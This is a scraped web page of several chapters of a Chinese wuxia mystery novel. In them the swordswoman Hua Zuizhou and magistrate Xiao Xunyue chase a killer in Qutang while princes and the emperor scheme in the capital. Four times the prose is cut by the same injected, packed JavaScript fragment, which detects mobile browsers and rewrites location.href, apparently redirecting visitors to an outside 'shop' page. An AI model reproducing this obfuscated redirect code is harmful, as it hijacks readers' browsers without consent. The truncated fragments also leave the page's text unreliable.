l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449761|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 派人手,日夜巡防,绝不会让贼人威胁到大家的安全。” 哟?花醉州诧异的看向他,这还是她听见杜弋说过的最长的一串话,真是难为他了。 “可,话是这么说,但俺们心里就是慌啊,这毕竟也是死了人……” “是啊!这贼人一日不落网,俺们一日不踏实啊!” “谁知道他什么时候又出来杀人……” 杜弋不过说了一句话,百姓们又吵吵嚷嚷起来了,颇有不抓到凶手不罢休的势头。 “这……” 花醉州回头看了眼宋宅,又看了看扯着嗓子的百姓。 可惜,她纵是想帮杜弋也帮不了,她现在的身份还是个嫌疑犯,根本没有立场说话,而且,谁知道真凶有没有躲在哪个角落窥视。 还是闭嘴为妙。 但看宋宅这水泄不通的样子,杜弋你还是自求多福吧。 杜弋张着嘴,手无意识挡在身前,却插不上一句话。 眼看着场面越来越乱,人群最边上突然传来一声嗤笑:“我说,你们在这闹上一通,莫非真凶就能找到?若真如此,我看官府也没有存在的必要了。” 花醉州循声望去,今天日头正好,那人却穿着一身黑,带了个帷帽,把脸挡的严严实实。 嘁,故弄玄虚。 似乎是注意到了她的视线,那人转头看过来,花醉州倒也不躲,直勾勾盯着他看,像是要把帷帽烧出个洞,好瞧瞧他的真面目。 他这番话说的没毛病,而且装束还奇奇怪怪,一时间百姓们都哑了火,没人敢招惹。 杜弋趁着人群静默,赶忙开口:“乡亲们,现如今命案发生,但县里事务又不能不管,肖明府一人两头忙,所以,还请各位给官府一些时间。天网恢恢疏而不漏,我杜弋保证,县衙绝不会让凶手逍遥法外,但这需要时间。 “大家都散了吧!这几日正值农时,切莫耽搁。” 一些人仍不放心,或有怨言,有异议,想讨个说法,但还是寡不敌众,被推搡着,人群就散开了,先前的害怕虽未完全散去,但好歹是。 人群散去,讨论声渐渐变小,杜弋攥了攥手,紧握成拳又松开,本想上前向那黑衣人道谢,谢他仗义执言,不想那人看都不看他一眼,径直转身跟着人群走了。 走了几步又突然回头,撩开帷帽,露出一只鹰眼,幽幽地盯着宋宅方向,又状似不经意般迅速瞟了花醉州一眼,没等杜弋过来,便转身走了。 这样一反复,反把杜弋闪了一下。 “刚刚那人,是谁啊?”花醉州语气八卦,带着些好奇。 杜弋摇摇头:“不知,许是外乡人。” “不知?” 杜弋嗯了一声:“我在曲塘为官六载,从未见过此等装束之人,今日这人倒是奇怪。” 花醉州回头看了看,那抹黑色很快就消失了,步子轻快,看着像是个习武之人,她心里莫名不安,便多留了个心眼,转而问道:“对了杜县尉,你最近有听到什么谣言吗?” “谣言?没有。” 还真是惜字如金,花醉州腹诽着。 只是言语或许会骗人,但下意识的神情不会。 瞧杜弋那怔愣的神情,显然是真不知情,如此说来,谣言还未成规模? 但按理说,想要击垮一个人,不应该在事情莫须有之前就散布吗,这幕后之人到底安的什么心。 杜弋偏头看她一眼,神情无波:“问这作甚。” “哦哦没事儿,我随便问问而已。” 8. 缉凶 衙门后堂一共三间房子,杜弋抬手指了指最左边的客房:"这几日娘子便暂住此处吧,稍后会有人来送晚膳。" 杜弋上前推开门:“进去吧。” “等等,杜县尉。” 杜弋偏头看来,神情疑惑。 “这是县令的意思吗?”她指着客房问。 杜弋点点头,花醉州挑眉在门口瞧了一眼,中规中矩,一扇屏风隔开了前厅和后厅,不算大但也不小,重点是很干净,这肖寻岳,倒是讲义气。 “那颜斐呢?现在还在大牢里吗?” “半个时辰前就放出来了。” 半个时辰之前,也就是说,她在凉亭与他谈话的时候,肖寻岳就已经把颜斐放出来了,这人,就这么自信她会与他联手吗。 花醉州拱拱手:"多谢县尉。” 杜弋性子冷,不喜与人多待,朝她点点头便走了,根本没多留。 “出来吧。” 花醉州关上门,一边往回走一边说。 窗边一阵窸窸窣窣,跳进来一个玄衣少年。 “师姑,您可真厉害!” 师姑临走前跟他说,如果肖寻岳没有派人放了他,就找机会逃出去,不过她觉得,肖寻岳主动放人的几率更大,没想到,还真让师姑给说中了。 “行了别拍马屁了,我嘱咐你的事你办了吗?” 颜斐从窗边一路小跑过来,坐在桌边给自己倒了杯水:“办了办了!我还另外去街上逛了遭,发现宋肖不和的传言只在县衙里有,至于''肖县令杀了宋县丞''的话传的人更少,还都是今天才有的,不过依我看,也许不是空穴来风,那一个个都说的有鼻子有眼的。” “你有没有打听到,这些谣言最早是什么时候听说的?” “嘶……”颜斐挠挠头,“这还真说不清,不过也不会太早,应该就是这两天吧。” 这两天,花醉州托着腮沉思着,谣言之所以能被人利用,成为一个有力的攻击方式,就是因为它传播的快,人传人,不出一个时辰,就能闹得满城皆知。 但这个关于他的谣言范围却这般小,难道是有人背后帮他? 颜斐见她不回话,不由晃了晃她的腿,伸手在她面前挥了挥:“师姑?师姑?你想什么呢?” 花醉州这才回过神,但颜斐年纪还小,说了这些还让他徒增担心:“没事,只是在想今日在宋宅发生的事。” “宋宅?” 花醉州点点头,神色凝重:“今日肖寻岳会这么早的找我,还让我去宋宅,就是因为在那里发现了醉九州的痕迹。” “醉九州?!” “嗯,甚至还有七分相像。” “可......”颜斐神色惊疑,说道:“这醉九州不是从不外传,只有门内弟子才有资格学吗,若非天赋绝佳者还学不会。” 就比如他,他没有师姑的天分,这醉九州,他学了三年还只学了个皮毛,但师姑在他这个年纪,已经学会七式了。 “对,这便是我疑惑所在。” 花醉州一边给颜斐分析,一边理着自己的思绪:“既然这人会醉九州,还能舞个七分像,我很难不怀疑是门内子弟,只是这样一来,就是门内出叛徒了。” “但更让我想不通的是,现在偏偏还有诋毁肖寻岳的谣言,如果真的是门内叛徒,为什么害肖寻岳,我们闻家与肖家,那可真是八竿子打不着。” 要么,就是有两拨人。 颜斐点点头,似懂非懂,但也没再追问。 门外蓦地响起敲门声:"花娘子在否?” 是肖寻岳的声音。 花醉州没急着说话,开了窗让颜斐先跳出去,然后看了看窗外。 暮色渐浓,日头偏西,正值酉时。 待窗关紧,花醉州才转身开门:“县令不请自来,有何贵干?” 说话间,花醉州警惕地瞧了瞧周围,确定没人跟着。 “可否让我进去说话?今日惹恼娘子,某特地带了些糕点前来赔罪。”肖寻岳提起手里的油纸袋轻轻晃了晃。 赔罪? 肖寻岳倒是上道,找了这个借口。 花醉州眼睛一转,侧身让人进了屋内。 那人不紧不慢放下手中的油纸,又不紧不慢的坐下喝了口茶,然后开口:“今日我在凉亭,有些话没说完。” “我说你为何让我住在后院,原来是怕人多眼杂,不方便谈话啊,我还以为你突然良心发现了呢。” 花醉州笑了一声,调侃他,没想那肖寻岳当真了,起身拱手道:“娘子,肖某利用你确有不妥,就算我欠娘子一个人情,日后若有需要,尽管开口。” “哎呀,我就是调侃而已!无趣。不过,这可是你说的!” 闻言,肖寻岳笑了笑:“一言既出,驷马难追。” “所以,你要说什么?” “娘子可还记得那枚玉佩?” 这下她倒是看不懂了:“肖寻岳,你到底想干什么?” 肖寻岳轻叹一口气:“那玉佩是和田白玉,唯有皇室中人能得此玉。” 他没继续说下去,花醉州却明白他什么意思:“那仿制此玉佩的,必是皇室中人,真凶也……” 她话头一顿,住了口。 肖寻岳却缓慢但坚定的点了点头,他原本也不敢相信,但事实在此,他又不得不信。 “居然是皇室手笔,可为什么要陷害我?又为什么要杀害宋县丞?”花醉州百思不得其解,她原本还以为只是门内出了叛徒,但若涉及皇室,这件事就没那么简单了。 闻家远离朝堂,从不参与党争,也并未与皇室中人结怨。 而宋县丞,一介县官,从不参加宫宴,除了一个当妃子的女儿,去哪儿和皇室的人扯上关系。 肖寻岳摇了摇头:“此案尚有疑点,但可以肯定的是,宋县丞一案必定牵连甚广,真凶身份也一定不简单。” “肖寻岳,我怎么感觉,我被你牵扯的越来越深了,或许我该及时止损。” 她的背后是闻氏一族,不能与皇家有纠葛,她还要武举,更不能惹上皇家。 她目光烁烁,竟是有几分认真,她要半途退出,肖寻岳却不着急:“可是你有没有想过,若是今晚没有死人呢。” “你什么意思。” “我在赌,要么凶手继续杀人,自投罗网,今晚成功缉凶;要么凶手消停一日,我们功亏一篑。” 花醉州陷入了沉默,确实没错,可事情一旦涉及皇族,之后便是想停下,也停不了了。 肖寻岳继续说道:“而且,你真的以为你逃得脱吗?从那枚玉佩开始,你就已经入局了,就算你现在去往京城,日后也会再次入局,说不定还会牵连整个闻家,倒不如现在就把祸患连根拔除。” 见她神色稍有松动,他继续道:“肖某今日前来,就是已经想好了计划,若今晚缉凶不成,那便演好这一出将计就计的戏,另找真凶。” 花醉州捏着胳膊上的软肉,一直到把自己掐疼,才说:“……好,那我帮你,今晚需要我怎么做?” 他说的对,她既然已经入局,倒不如破釜沉舟。 肖寻岳没说话,转而去拆油纸。 那里面装着的却不是什么糕点,而是一个木匣和一张折着的纸。 “县令这是……” 肖寻岳打开那张折的方方正正的纸,摊在她面前:“曲塘地形虽不复杂,但娘子也要先熟悉建置,这是我画的地图,所有可能埋伏的地方我都有标注,今晚亥时之前,千万要记住。” 花醉州长叹口气,她本以为今晚出些力气就好,怎么还得记图。 “还有这个。” 肖寻岳打开里面的木盒:“这是木哨,为防打草惊蛇,并不是每个地方都有布防,若有情况,吹响它,附近的官兵就会前去支援。” 花醉州接过木哨,其实很简陋,只是一个吹气就能发声的东西而已,没有雕花,没有上油,应该是做的很急。 “县令,你这么紧张,倒让我觉得,我今晚是要上战场一样。” 肖寻岳身体一僵,似乎是想起什么不好的回忆,最后只扯出一个勉强的笑:“娘子说笑了,小心为上而已,况且你是闻家人,若出了闪失,只怕闻家主不远万里也要杀来曲塘吧。” 花醉州被这话逗得一笑:“这倒像我师傅会干的事。” 肖寻岳没接这话,起身说道:“娘子且看着,我还有事,先告辞了。” 花醉州看着他僵直的背影,撇撇嘴,真是奇怪,她又没说什么不对的话。 门外,肖寻岳缓缓吐出胸腔内的浊气,仰头望着天,夜色已渐渐涌起,马上就能看见星星了。 只是不知,其中有没有人们日思夜想也要见上一面的人。 从前那些血腥的画面,就好像是被人用刻刀刻在了他脑海中某个隐秘的地方,当他一次次以为自己已经淡忘的时候,又会像血一样喷溅到四处,不留余地的占满他整个躯壳,总也挥之不去。 他轻笑一声,似是自嘲,都多少年了,再次听见那个词怎么还是会失态。 * 亥时二刻。 这会儿的曲塘静的吓人,整座城都沉浸在一片死寂里,仿佛知道山雨欲来。 花醉州抱着留霜,站在城墙上,仔细瞧着城内的动静。 这城墙面朝南,是县里最高的地方,视野也最开阔,是绝佳的观察位置。 从城墙下的大门进去,就是曲塘最宽的清渠街,以城内最大的运河为名,县衙就在街的左边。 以清渠街为主干,又有诸多小巷串通起整座城,弯弯绕绕,好似河道一般。 花醉州回想着那副地图,又细细地将肖寻岳标 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449762|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出来的地点一一念过。 只是十月末的夜风冷,呼啸着,吹的人脸有些僵,脑子也跟着慢下来。 “今夜风大,我带了件袍子,娘子先披上吧。” 肖寻岳从城墙处上来,站在她身侧,递出那件挂在他小臂上的袍子。 花醉州也没忸怩,接过边披在身上,这风实在是吹的人发寒。 “曲塘不比广陵,要更冷些,娘子带的衣物若是不够,我找人帮你做几件,就当是谢礼了。” 花醉州挑眉看向他,有些诧异,这人竟心细如此,礼貌的笑了笑,说道:“也不必,我只是今晚穿的少而已。” 肖寻岳点点头,没有坚持:“可有收获。” 他指的是凶手。 “……没有。” 两个人站在城墙之上,一时间都没再说话,花醉州有些担心,已经等了一刻钟了,如果今晚凶手不现身…… 正胡思乱想着,花醉州忽然耳朵一动,听到一声清脆但微小的踩瓦声,在西边。 肖寻岳余光瞥见一道残影,转过头,身旁站着的人就已经不见了,只留下他那件袍子飘落在地。 花醉州足尖点地,使着轻功迅速朝声音逼近,靠近后却傻眼了,怎么是一只黑猫! 倏然,身后的屋顶传来一声嗤笑,她猛地转头,只看见了一片往地下落的黑色衣角。 声东击西?! 该死,居然跟她使诈。 花醉州用剑鞘撑在屋瓦上,脚一蹬,靠着剑转了个方向,悄无声息落地,又追着那人往东边跑去。 她向来对她的轻功很有自信,毕竟在门内可是数一数二的,但她却始终落那黑衣人一小截,不长不短,正巧是能摸到衣角却够不着人的距离。 控制的刚刚好。 真是狡猾,花醉州咬着牙,摸出腰间的匕首,往前扔出去,寒光在夜里一闪而过,划破了他的小腿,然后稳稳扎在一旁的木桩子上。 那人踉跄一下,下一刻又仿若没有痛觉的傀儡,继续往前跑。 足够了。 花醉州一笑,毫不犹豫,拔出留霜,霎时,寒气逼人。 她将剑往前甩出,捻着剑柄尾部,食指一挑,剑身沿着那人右臂划出一道伤痕,又因手指使的力而向内绕,抵在他喉结下方一寸处。 这下,人终于被逼停,她才发现,追逐间居然又回到了今早住着的那间客栈。 花醉州紧紧握住剑柄,一步步把人往墙边逼,又顺手拔出插在木桩上的匕首:“我这匕首,名唤剖心,你觉得,它现在,能否剖开人心,窥其善恶?” 她放在手里抛向半空,匕首转了一圈又回落掌心,反射着月光。 黑衣人没说话,花醉州冷哼一声:“怎么,哑巴?” 他还是不说话,甚至都不动一下,花醉州刚想把匕首插回腰间,黑衣人手突然一动,握住她的手腕一拧,花醉州吃痛微微松手,他顺势捏住匕首柄部往外抽,薄刃擦着她左手心而过,划出两道血痕。 “嘶!” 真疼。 花醉州甩甩手,食指传来拉扯感,她笑了笑,想抽走她的匕首?那得看看她答不答应。 手一转,匕首上那根绳子在她手上绕了一圈,往后一拉就借着余力回弹到她手心,花醉州狠狠往前一刺,黑衣人抬手握住,血流如注。 真是个怪物,都不叫一声的吗? 她不敢松开桎梏在他脖子上的胳膊,只想揭下他的面衣看看是谁故弄玄虚,黑衣人抬手格挡,手腕瞬间被他桎梏。 嚯,这么快,有点本事。 来不及管流血的左手,花醉州握紧留霜顺势往他脖子上一压,往右划去,只留下一串细密的血珠,却不致命。 黑衣人握着她的手腕,往后一仰,躲过那剑,拉着她的胳膊便往旁边墙上甩。 力道很大,差点把她胳膊拧脱臼,花醉州脚蹬墙,稳住身形,那人却向东南跑去。 花醉州本能的想跟上,却停了步子。 不对,她记得,地图上东南处全是成衣铺子,到处都是竹竿晾着的布。 这种地方最容易埋伏了,而且刚刚她追他之时,那人控制的不紧不慢,莫非是有意引诱她到此处。 花醉州蹙紧眉头,神情凝重,看样子,这黑衣人绝非善茬,而且对曲塘还很熟悉。 当机立断,她蹬上木桩子,借力跃上房顶,高处视野开阔,也不怕他使什么暗器。 花醉州一边追着一边拉过脖子上挂着的木哨,使劲儿一吹,现在所在的位置正是那片闹市,前面十里就有一处肖寻岳的布防,只要前后包抄,此人一定插翅难逃。 尖利的声音瞬间划破夜空,黑衣人回头看了一眼,似乎是意识到有诈,还处在布匹之间,他就往地上扔了个什么东西,瞬间爆开浓烟,还有星星点点的火光。 是引火球! 9. 阴谋(过渡) 布匹易燃,不过一会儿的功夫就已经将这一大片的布全部点燃,宛如火墙,挡在花醉州面前。 夜色本就浓,还有火光烟雾掩护,花醉州被呛得不停咳嗽,却愣是看不见人影。 刚刚和他交手,那人武功不在她之下,甚至要比她稍强,这会儿定是出城了,只是不知具体是哪个方位。 花醉州看着这大片浓烟,总觉得那黑衣人的身形有些眼熟,好像什么时候见过似的,但也只是一丝抓不住的模糊记忆。 远处传来不整齐的兵械声响,那些提前布防好的官兵姗姗来迟,为首的虚情假意拱拱手:“娘子,方才听见木哨响,我们便急忙赶来了,只是不知贼人呢?” 花醉州一听,都气笑了,冷冰冰瞥他一眼,说道:“当然是被你们这些官爷给吓跑了。” 她原本还不信,直到现在亲眼瞧见,才知肖寻岳今日凉亭所言不虚。 那布匹上的火渐渐变大,一旁的官兵懒懒散散站着,花醉州气不打一处来:“愣着干嘛!扑火啊!” * 曲塘城外驿馆内,一人着紫色圆领袍,腰间佩着金鱼袋,盘腿坐在榻上,手里捻着一串佛珠不停拨动,口中还念念有词,却听不太真切。 旁边窗户忽的一响,从外面轻巧滚进来一个带着血腥气的黑衣人,带着帷帽,看不清面目。 “如何,打探到了?”紫袍男人开口问道,却是难听刺耳的尖嗓。 那人脱下夜行衣,跪地拱手:“恕儿子无能,只听到两人似要联手,具体如何行动,儿子不知。” 紫袍人拨弄佛珠的手一顿,半撑开眼皮斜睨着地上跪着的人,冷哼一声:“没用的东西,还受了伤,学艺如此不精,回去之后自己领罚。” “多谢义父开恩!” 屋内静默一瞬,紫袍人又开口:“没想到他们两个误打误撞,反倒是助我成了事,待明日我再去添把火,坐等看戏便可。” 紫袍人脸上带着恶劣的笑,继续说:“不过那肖寻岳看起来倒像是想要刨根究底,找到真凶。” “是。” “呵,这人呐,聪明是聪明,但实在自不量力了些,那真凶,是他能找的吗?罢了,即刻飞鸽传书。” “是,那义父,接下来我们如何行动?” 榻上之人睁开眼:“算算时间,也是时候去见见我们这位状元郎了。” * 百里之外,皇城。 乳白色的鸽子在漆黑如墨的夜里格外显眼,从远远的小白点,扑棱着翅膀落在镶满金玉的窗棂上。 “陛下,曲塘来的信。” “读。”坐在龙椅上的人批着奏折,左手撑着额头,脸上满是倦色。 那宦官拆开一看,却只有四个大字:“任务完成。” 闻言,永嘉帝眼底闪过几分算计:“叫人给广陵闻家送封信,务必让闻家主知道,这信的来处。” “喏。” 永嘉帝瘦削的脸上看不清神色,无意识摩挲着手里的狼毫笔,说来这根笔,还是当年,闻兄亲手给他做的。 少时不知年月无情,都曾壮语豪言,到现在,反觉人心易变,情比纸薄。 “陛下,夜深了,回寝宫吧。”肩上一沉,龙涎香顺着大氅传来。 “全福,你看,”永嘉帝指着南面,“那儿,就是广陵。” 全福从小就跟在永嘉帝身边,那些个陈年旧事,他也知道不少:“陛下重情重义,实乃一代仁君。” 重情重义?永嘉帝嘴角笑意嘲讽,或许吧,谁知道呢。 “你吩咐下去,叫知福掌握点分寸,见好就收,切莫伤了曲塘那两个孩子。” “喏。” * 彼时,皇城连湘阁。 “成事不足败事有余,钟焘,你这样,我以后还怎么放心的把任务交给你?”说话的男子年纪轻,约摸弱冠之年,衣着华贵,长相阴柔,眼尾一点泪痣,更添几分柔美,但却难掩病气。 他手里拿着帕子,捂嘴咳了几声,然后起身走到跪趴在地的钟焘面前,狠狠踢上他的肩膀,把人踹的直往后仰。 “怎么就把花醉州给牵扯进来了?嗯?”他气息不稳,语调平平,听不出喜怒,只是一条腿狠狠踩在脚下人的身上,不时碾磨几下,一些地方磨出了血,钟焘身体不停地发着抖,脸色惨白。 很疼,但他不敢叫出声。 “说话啊!哑巴了吗?”男人咬牙切齿的说着,揪着地上那人的衣领把他往前一带。 “主子……小人……小人真的是按照……您的吩咐办事的,小人也不知……为何会卷入闻家人啊!主子,主子明鉴,小人真的不知啊!”钟焘忍着痛,语调颤抖,磕磕绊绊,显然是害怕极了。 说来也讽刺,他一辈子杀了不知道多少人,每个人临死前都会说他们害怕,当时毫无感触,而现在,临到自己快死了才知道什么是害怕。 “你既不能成事,我要你有何用?”男人稍稍冷静下来,冷漠的没感情,像是下了最后通牒。 “不,不要,主子,我可以将功补过的! ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449763|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 主子,求你饶我一命,主子,主子……”地上的人一下接一下磕着头,血从额头流下,模糊了视线,却根本不敢停下,他怕极了,生怕丢了这条带着满身冤魂的命。 他怕死。 他怕死。 可男人只是冷眼瞧着,仿若未闻。 他身旁站着的女子心有不忍,鼓起勇气劝道:“殿下,您再不阻止,他就要活活磕头磕死了。” “曼娘,你要为他求情?”男人声音放柔,却莫名叫人心惊。 曼娘赶忙跪下:“殿下,曼娘不是为他求情,而是为了殿下声誉着想啊!毕竟他跟在殿下身边也小十年了,这些年为殿下出生入死,没有功劳也有苦劳,这次曲塘之事,也是他唯一一次失手。殿下今日若放任他不管,让其自生自灭,只怕寒了下面人的心啊!” 男人似是精疲力尽支撑不住身体了一般往后连退几步,腿弯磕到椅子边,不受控制地往后仰去,冷笑一声倒在椅子上:“好,钟焘,本王给你将功补过的机会,你现在就滚去曲塘,如何做,还要不要本王再教教你?” “谢主上隆恩!谢主上隆恩!小人知晓该怎么做。” “都给我滚出去,曼娘留下。”男人揉着太阳穴,面色烦躁。 “殿下,我来吧。”曼娘从地上起来,走过去替他按着太阳穴。 “暗哨可有消息?为何会牵扯到花醉州?” “据探子来信,是因为肖寻岳在她随行的包裹里找到了宋津臣的玉佩,且在宋津臣的卧房内,发现了疑似‘醉九州’的剑痕。” “宋津臣的玉佩为何会出现在花醉州的包裹里?不是都销毁了吗?” “曼娘不知。” “那醉九州呢?钟焘何时学会醉九州了?” “不,他不会。” “有人在我们之后动了手脚。”男人眼神阴鸷,面色不虞。 曼娘点点头:“是。” “谁的手笔?” “暗哨还未查明,不过我们猜测,应当是太子。” 太子一党和他们殿下向来不合,针锋相对是常有的事。 “太子……呵,真是好手段,不仅保全了那肖寻岳,还能借我之手除掉闻家这一变数。” 闻家把控着整个武林,虽远离朝局,但势力过于强大,是每一个皇子的心头刺,一日不除,一日不得安生。 “但那又如何,”他眼神狠厉,“走到今天这一步,我便神挡杀神,佛挡杀佛。” 在他面前碍眼的,他一个也不会放过,都得给他死。 10. 争执 另一边,县衙后院。 颜斐搬了个凳子,百无聊赖的坐下,靠在柱子边来回晃着腿,目光呆滞。 月上中天,已是子时了。 “这怎么还不回来啊?” 今晚他本来摩拳擦掌想要去大显身手一番,可谁知装备都没穿戴齐全,就被师姑扣下了。 还说什么凶犯残暴,是为了他好。 依他看,师姑就是害怕自己拖累她。 “你干什么!你撒手!” 颜斐正胡乱数着天上的星星,院外却模糊传来一阵吵嚷。 这声音,师姑回来了! “师姑!” 颜斐从椅子上跳起,跑出去迎接,一边跑一边说着:“师姑你可算回来了,你都不知道我一个人呆在这里有多无聊!” 从院门探出一个头,颜斐愣住了:“……你们,这是?” 肖寻岳一手握着留霜剑柄往前走,花醉州握着他的手腕往后拉,两人谁也不让谁,也没有一个人理他。 “肖寻岳!你不让我追凶也就算了,怎么还擅自动我的留霜!我不想伤你,别逼我动手。” 见到了后院,肖寻岳才松开手。 花醉州急忙从怀里掏出帕子,仔细擦拭着。 对一个剑客来说,除了自己的生命,最重要的便是手里的剑了,更何况,这还是师傅给她的。 肖寻岳一甩袖子:“花醉州。” 他第一次叫了她的名字,但语气却冷静克制。 “这不是在闻家,也不是在武举场上,这是真真实实会要人命的地方,你有没有想过万一城外有埋伏呢?” “我可是闻家子弟!” 花醉州一步不让,紧接着他的话呛了回去,她去城外追凶,也不过是为了早日破案,她有什么错,一上来就兴师问罪。 “是,你是闻家子弟,你能以一当十,可你能以一当百,以一当千吗?城外那片树林什么状况尚不明朗,你贸然闯进没有人能支援,万一真遇到什么情况不是送死吗?” 花醉州擦剑的手一顿,看向他,眼神错愕:“你是在说我,狂妄自大?” “你明知道我不是这个意思。”肖寻岳一听她的反问,急得上前一步。 花醉州胸膛起起伏伏,彻底停下了擦剑的手,下一刻,她收起帕子,利刃破风而行,停在肖寻岳鼻尖一寸。 肖寻岳站在原地没有动,却活活把颜斐吓了一跳,他甚至没看清师姑何时动的手。 她没说话,意思却很明显,明明是肖寻岳求她帮忙,却又不相信她的实力,花醉州冷冷哼了一声,一句话也没说就回房了,砰的一声狠狠关上了门。 颜斐在一旁目瞪口呆,他从出生就和师姑生活在一起,他还是头一回见有人能把她气成这个样子。 肖寻岳还蹙着眉,呆呆的看向那扇紧闭着的房门,有些不知所措。 颜斐悄悄朝他竖了个大拇指:“厉害啊县令,在下佩服。” 肖寻岳叹了口气,垂下眼,兴致不高。 颜斐见状,也顾不上什么落井下石,凑到他身边:“哎呀,我师姑一直就这样,脾气暴躁性子还倔,只要是她认定的事,她一定会去做,哪怕头破血流,所以在我们家,我们都是顺着她的,你呢,诚心道个歉,我相信师姑也不会生你气了。” 他说的起劲,肖寻岳却不知在想什么,一副沉思的样子,颜斐说完等了好一会儿,都没见他反应。 正想拍拍他,叫他回神,肖寻岳却转身出了门。 “哎?哎!不是,你,你怎么走了啊?!” 肖寻岳一步也没停留,步子迈得飞快。 颜斐朝他背影翻了个白眼,嘟囔道:“好心当成驴肝肺!白费!我找我师姑去!” 转身敲了敲房门,还没来得及开口说话,房内吼出一声荡气回肠的: “滚!” 得嘞,滚。 * 肖寻岳出了院门,却并没有回房,而是在县衙里漫无目的的走着。 今晚他站在城墙上,只能远远观望着花醉州那边的动静,直到彻底看不到人影,他心里居然久违的升起一股害怕。 自从他娘死后,他总是患得患失,他害怕身边任何一个人离去,以至于有些草木皆兵。 那时年纪尚小,他总觉得如果没有战争,外祖一家没有学过武,那就不会死,外祖家不死,他娘也会好好活着。 他不愿走外祖的老路,就渐渐荒废了在外祖那里学到的武艺,转而读起了书,考取功名,甚至在圣上问他想去何处供职,他都选择了看上去最为安定的曲塘县。 所以今晚花醉州决定出城缉凶的时候,他几乎没有思索就阻止了。 花醉州觉得他是不相信她的能力,现在想来,他是克服不了自己的恐惧。 肖寻岳自嘲一笑,其实他挺自私的吧? 往前走几步,脚无意间踢到石阶,抬头一看,竟然走到了厨房。 恍惚间,他好像看到了一个小小的身影,和一位温婉的女子,两个人脸上满是面粉,乱糟糟的,却都笑的很开心。 那女子把他抱起来,放在一旁的高凳上:“阿奴,你瞧,到了这一步一定要加水,不然做出来就会很干。” “我们阿奴要好好学,以后才能讨小娘子欢心。” 那女子笑的柔和,用手刮了一下他的鼻尖,说着调侃他的话。 肖寻岳忽然想起,前几天厨房里好像买了些芡实粉来着。 * “你是能以一当十,但你能以一当百,以一当千吗?” 花醉州窝在房里,背对着门,盘腿坐在床上面壁,左手托着脸,嘴抿成一条直线,眼神放空,脑子里盘旋着的满是肖寻岳刚刚说的话。 她不是不清楚这些道理,但她就想试一试。 就像她知道闻家子弟不得入仕,可她就是想当个大将军。 七岁那年,她第一次提出,她想武举,族里除了师傅,无一不是骂她离经叛道,有悖祖先。 师傅平日也总说她反叛,但很奇怪的是,他脸上虽有愁容,却对她要武举这样违背祖训的事情毫无异议,甚至还教导她读兵书。 她觉得,有师傅的支持就够了,其他什么长不长老的,她根本不在意。 直到那天过后的第三日,她和往常一样去后山练武,却听到祠堂里传出了争执声,还掺杂有师傅的声音。 “闻远道!此女罔顾祖训,你莫不是还要偏袒!” 她趴到门缝上,往里瞧着,师傅跪在地上,面对着闻家一排排的牌位,脊背挺直:“列祖列宗在上,闻家第十一代家主闻远道,特来请罪,自请受罚!” “你!”刚刚问责他的长老站在一旁,闻言不由瞪大眼睛,他为了一个弟子,竟能做到如此地步。 没有人回应他,闻远道不卑不亢,朗声重复一遍。 “好,你既要请罪,老夫就成全你!拿荆条来!” 闻远道背对着花醉州,她看不见师傅脸上漠然的笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17449764|201146||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 十年前为了龙椅上那个人,为了这个江山,他就已经请过一次罪了,如今不过再受一遍,又有何惧。 荆条软韧,抽在身上疼痛尖锐刺骨。 花醉州年纪小,哪里见过这种场面,呆愣愣的站在门外,眼睁睁看着荆条一下下抽在师傅身上,划破衣服,翻烂血肉,他愣是一声不吭。 “闻远道,三十鞭了,还有三十,你可受得!” 长老是在威胁他,他如果现在悔悟,将那幼女逐出师门,他们一众长老便不会再同他计较,只当他是猪油蒙了心。 他不说话,另一个长老言辞恳切:“远道,一介孤女罢了,你何必如此!” 这下,他才算是有了些反应,嗤笑一声:“一介孤女?你也知道她是孤女啊,逐出师门,她如何得活?” 说罢,他闭上眼,惜字如金:“继续。” 六十鞭抽尽,闻远道的背后已是血肉模糊,花醉州掉着不知何时蓄满的泪,听见长老说:“此事姑且作罢,日后她若下山,你便再请六十鞭。” 后来的事,她记不太清了,她不记得自己那天怎么回去前山的,也不记得师傅伤势到底如何,只知道,是她给师傅惹麻烦了。 第二天,她小心翼翼揪着袖口,问道:“师傅,你为什么支持我武举啊?” 闻远道神情一僵,摸了摸她的头,说了句她当时还听不懂的话:“师傅不能束缚你。” 